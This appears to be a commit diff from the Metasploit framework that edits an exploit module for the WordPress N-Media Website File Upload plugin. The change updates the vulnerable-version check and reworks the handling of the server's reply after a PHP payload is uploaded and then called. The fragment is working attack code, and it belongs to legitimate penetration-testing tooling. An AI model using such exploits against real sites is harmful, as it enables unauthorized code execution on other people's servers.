Land #5137 (again), WordPress N-Media Website File Upload
commit
418d8586a5
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
|
||||
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -58,16 +58,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => post_data
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /filename/
|
||||
begin
|
||||
new_php_pagename = JSON.parse(res.body)["filename"]
|
||||
rescue JSON::ParserError
|
||||
new_php_pagename = ''
|
||||
if res
|
||||
if res.code == 200 && res.body =~ /filename/
|
||||
begin
|
||||
new_php_pagename = JSON.parse(res.body)["filename"]
|
||||
rescue JSON::ParserError
|
||||
new_php_pagename = ''
|
||||
end
|
||||
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
|
||||
register_files_for_cleanup(new_php_pagename)
|
||||
else
|
||||
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
end
|
||||
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
|
||||
register_files_for_cleanup(new_php_pagename)
|
||||
else
|
||||
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
fail_with('ERROR')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling payload...")
|
||||
|
|
Loading…
Reference in New Issue